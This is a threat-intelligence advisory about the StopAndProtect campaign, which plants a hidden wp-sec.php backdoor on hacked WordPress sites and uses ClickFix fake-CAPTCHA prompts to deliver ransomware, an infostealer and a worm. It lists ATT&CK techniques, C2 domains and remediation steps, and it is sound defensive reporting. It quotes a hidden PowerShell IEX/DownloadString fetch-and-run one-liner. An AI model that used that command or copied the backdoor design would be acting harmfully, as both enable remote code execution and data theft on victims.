StopAndProtect: Compromised WordPress Sites Used as Malware Distribution Infrastructure for Ransomware, Stealer, and Worm Payloads
StopAndProtect (TL-2026-2057), also tracked as 0a_botnet, is a high-severity malware campaign, first published 2026-08-18. It has no confirmed attribution, affects WordPress WordPress Core / Plugin Ecosystem, maps to 16 MITRE ATT&CK techniques (T1021.002, T1027, T1047), and is covered by 9 detection rules and 28 indicators of compromise.
Key facts for TL-2026-2057
- Threat ID
- TL-2026-2057
- Also known as
- 0a_botnet, fake-captcha
- Severity
- HIGH
- Status
- ACTIVE
- Category
- MALWARE
- First published
- 2026-08-18
- Last reviewed
- 2026-08-18
- Attribution confidence
- LOW
- Motivation
- FINANCIAL
- Target regions
- united states of america, russia, india, ukraine
- Detection rules
- 9
- Indicators of compromise
- 28
Check Point Research unmasked 'StopAndProtect,' an operation that abuses a hidden malicious WordPress must-use plugin (wp-sec.php) to backdoor thousands of hacked sites, luring visitors with ClickFix fake-CAPTCHA prompts into running PowerShell that deploys a multi-stage .NET toolset — SilentEncryptor ransomware, the SilentDataCollector infostealer, and the NetworkShareScanner SMB/USB worm. Over 6,000 unique victim IPs, ~31,000 exfiltrated screenshots, and 700+ stolen-data archives were observed between mid-May and July 24, 2026; the operator's own OPSEC failures exposed internal project names and legacy VB6 tooling but the operation remains unattributed.
How StopAndProtect works
StopAndProtect is a large-scale, financially-motivated operation that turns compromised, poorly-maintained WordPress sites into disposable malware-distribution and command-and-control infrastructure. Access to each site begins with exploitation of one or more of 40+ vulnerabilities Check Point observed on an analyzed compromised installation (SQL injection, authentication bypass, authenticated arbitrary file upload, and open redirect flaws on a WordPress core version dating to 2021, five years unpatched). Once inside, the operators deploy an mu-uploader-installer.php bootstrap that writes a hidden must-use plugin to wp-content/mu-plugins/wp-sec.php. Because WordPress auto-loads every file in mu-plugins on every request and never lists them in the standard Plugins admin screen, wp-sec.php survives routine administrator review. It registers a hidden REST API route (wp-json/wp-sec/v1/upload) gated by hardcoded credentials that accepts arbitrary file uploads — explicitly including .php — turning the backdoor into a persistent, low-visibility web shell the operators use to push further payloads, including a 'verify' plugin component that renders a fraudulent CAPTCHA overlay to site visitors. The installer self-deletes after deployment.
Visitors who land on a compromised page are shown a ClickFix-style fake human-verification prompt. The page's JavaScript silently logs the visitor's IP to a proxy.php endpoint under wp-content/plugins/verify/ on a base C2 domain, copies a PowerShell one-liner to the clipboard, and walks the victim through Win+R, Ctrl+V, Enter. The pasted command (powershell -w hidden -ep bypass -c IEX((New-Object Net.WebClient).DownloadString(...))) fetches a first-stage script (vcapcha.ps1) that reports execution telemetry to the C2 and retrieves a second PowerShell stage; that stage base64-decodes a .NET assembly, reflectively loads it into the current process, and invokes an exported 'Execute' method — the initial loader never touches disk. The in-memory .NET Stage 1 downloader reports further telemetry and fetches a .NET Stage 2 loader that performs sandbox/VM detection, expands logging, and persists on the host before pulling down the Stage 3 modular payload set.
Stage 3 delivers three purpose-built .NET families. SilentEncryptor is the ransomware component: it fetches encryption instructions from the C2 (scoping encryption to all machines or specific hostnames), derives a 32-byte per-file key from a per-file password plus the victim machine name, embeds both values in the encrypted filename so operators can regenerate keys without an escrow database, and displays a C2-served ransom lock screen with a cryptocurrency QR code for payment. SilentDataCollector is the infostealer: it inventories files across fixed drives, removable media, and network shares, AES-CBC-encrypts the resulting file list with a key embedded in the Stage 3 component, and waits for operator-issued command files naming specific targets (documents, credential/password stores, cryptocurrency wallets) to compress, encrypt, and exfiltrate to the base C2. Newer builds add a keylogger with email-address detection, WhatsApp Web automation that searches for and extracts named contacts' phone numbers, and screenshot capture every 30 seconds during active user sessions (plus at startup, lock, and final desktop state) — Check Point recovered roughly 31,000 such screenshots and 700+ encrypted data archives from open collection directories, representing ~200 unique infected machines. NetworkShareScanner is the propagation module: it enumerates reachable SMB network shares and attached USB devices, then spreads copies of the toolset to them, using WMI-based remote process creation for lateral movement into enterprise network shares, paired with a companion VBS spreader for hard-disk and removable-media infection.
Operator-side tradecraft is unusually exposed for a still-active campaign: the actors' own desktop files were accidentally swept into the same open exfiltration directories as victim data, revealing a project tree rooted at G:\a_new_hack\0a_botnet\fake-captcha\a-master\4-a-updater-plugin-send-new-plugin\, roughly 1,400 active fake-CAPTCHA domains listed in a-MASTER-CAPCHA-EXISTS-QUICK.txt, ~300 successful plugin-upload logs in a-wp-cssv-uploaded.txt, ~2,000 compromised WordPress domain listings, and a custom Visual Basic 6 (a language whose mainstream support ended around 2006) management console used to bulk-upload/delete files, toggle the fake CAPTCHA and caching state, and manage payloads across hundreds of sites at once. A SimpleChatProxy component also lets operators message ransomware victims in real time, including image transmission, to negotiate payment. Despite the tooling and infrastructure exposure, Check Point stops short of formal attribution — the mix of a Ukrainian-TLD C2 domain, a Russia-heavy victim count, and dated VB6 tradecraft is noted but explicitly not tied to any known actor or nation-state.
MITRE ATT&CK techniques used in TL-2026-2057
Lateral Movement
T1021.002 Remote Services: SMB/Windows Admin Shares; T1091 Replication Through Removable Media
Defense Evasion
T1027 Obfuscated Files or Information; T1497 Virtualization/Sandbox Evasion; T1620 Reflective Code Loading
Execution
T1047 Windows Management Instrumentation; T1059.001 Command and Scripting Interpreter: PowerShell; T1204.004 User Execution: Malicious Copy and Paste
Collection
T1056.001 Input Capture: Keylogging; T1113 Screen Capture; T1560 Archive Collected Data
Command and Control
T1071.001 Application Layer Protocol: Web Protocols
Initial Access
T1190 Exploit Public-Facing Application
Persistence
T1505.003 Server Software Component: Web Shell
Resource Development
T1584.004 Compromise Infrastructure: Server
Impact
Affected products and versions in StopAndProtect
- WordPress — WordPress Core / Plugin Ecosystem
Vulnerable versions: Outdated, unpatched installations (analyzed example: WordPress core dating to 2021, unpatched for ~5 years)
Fixed in: No single fixed version — mitigation requires patching the 40+ underlying vulnerabilities (SQLi, auth bypass, arbitrary file upload, open redirect) and removing the wp-sec.php MU-plugin backdoor - Microsoft — Windows (end-user/enterprise endpoints)
Vulnerable versions: Any Windows host where a user executes the ClickFix PowerShell clipboard payload
Fixed in: N/A — social-engineering delivery, not a software vulnerability on the endpoint
Remediation for StopAndProtect
Patches
- No specific CVE or vendor patch was identified in the source report; remediation is remediation of the 40+ underlying WordPress vulnerabilities (SQLi, auth bypass, arbitrary file upload, open redirect) and general core/plugin patch hygiene, not a single fix
Immediate actions
- Audit wp-content/mu-plugins/ on every WordPress install for unexpected files, specifically wp-sec.php — mu-plugins do not appear in the standard wp-admin Plugins list and must be checked directly on disk or via wp_get_mu_plugins()
- Search web server / WAF logs for requests to wp-json/wp-sec/v1/upload, wp-content/plugins/verify/proxy.php, /vcapcha.ps1, and /dwnen.php across all hosted WordPress sites
- Block the identified base-C2 and payload-distribution domains (v-k.com.ua, lapellelaser.pl, parsrulman.com, mectcalcutta.com, discherniation.com, maximumrock.ro, platinumcar.ca, norakremer.co.uk, pharmart.ae, ksr-racingparts.com) at DNS/perimeter
- Force credential rotation and re-image any endpoint where a user reports pasting a Win+R/Ctrl+V 'verification' command
- Isolate any host running SilentEncryptor, SilentDataCollector, or NetworkShareScanner from SMB shares immediately to limit worm propagation before eradication
Workarounds
- Disable or restrict access to custom REST API namespaces via a security plugin/WAF rule if wp-sec/v1 or similar unrecognized namespaces are observed
- Restrict wp-content/mu-plugins/ write access at the filesystem/hosting level to deployment processes only
Longer-term hardening
- Establish a WordPress patch-management cadence — the analyzed compromised site was running a 2021-era core with 40+ unpatched vulnerabilities
- Deploy file-integrity monitoring on wp-content/mu-plugins/ and wp-content/plugins/ to catch unauthorized writes
- Deploy EDR with behavioral detection for reflective .NET assembly loading and in-memory PowerShell execution
- User-awareness training specifically targeting ClickFix / fake-CAPTCHA 'verification' prompts that request Win+R + paste
Weaknesses (CWE) in StopAndProtect
CWE-89, CWE-287, CWE-434, CWE-601
Timeline of StopAndProtect
- On the analyzed compromised WordPress site, the earliest observed activity is deployment of the attacker's upload/deletion utilities, marking initial foothold.
- Attackers disable the site's caching plugin so malicious payload changes are served to visitors immediately rather than a stale cached version.
- The 'verify' plugin component — hosting the ClickFix fake-CAPTCHA overlay and its proxy.php visitor-logging endpoint — is installed on the compromised site.
- Check Point Research identifies the SilentEncryptor ransomware family in mid-May 2026 and begins tracking the broader operation later named StopAndProtect.
- The hidden wp-sec.php must-use plugin folder is created on the analyzed site, establishing the persistent, dashboard-invisible REST API upload backdoor.
- Persistence and proxy mechanisms are fully activated on the analyzed compromised site, completing an infrastructure buildout observed May 19-22, 2026.
- Check Point captures a statistics snapshot: 6,000+ unique victim IP addresses, ~31,000 exfiltrated screenshots, and 700+ stolen data archives collected across the campaign to date.
- Check Point Research publicly discloses the StopAndProtect operation, detailing the wp-sec.php backdoor, the ClickFix lure chain, the SilentEncryptor/SilentDataCollector/NetworkShareScanner toolset, and the operators' own OPSEC failures.
Sources cited for StopAndProtect
- Thousands of Hacked WordPress Sites, One Operation: Unmasking StopAndProtect
- Must Use Plugins – Advanced Administration Handbook
- Caught in the CAPTCHA: How ClickFix is Weaponizing Verification Fatigue to Deliver RATs & Infostealers
- Beyond The Click: Unveiling Fake CAPTCHA Campaigns
- ClickFix: The Social Engineering Technique Hackers Use to Manipulate Victims
Threats related to StopAndProtect
- Infostealer-Enabled ClickFix Campaign Compromises Artlist via EtherHiding C2 and DLL Side-Loaded RAT
- ErrTraffic: ClickFix Malware-as-a-Service Distribution Framework Delivering Infostealers and Loaders via Compromised WordPress and EtherHiding Polygon C2
- ClickFix Campaigns Deploy PavinLoader With Blockchain-Based C2 and Amatera Stealer
- ChonkyChicken RAT (TAG-195/Golden Chickens) Bypasses Chrome App-Bound Encryption via ChromEggscalator to Steal Browser Credentials
Detection coverage for TL-2026-2057
As of 2026-08-18, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-2057 across Splunk SPL, Microsoft KQL and Sigma, covering 28 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.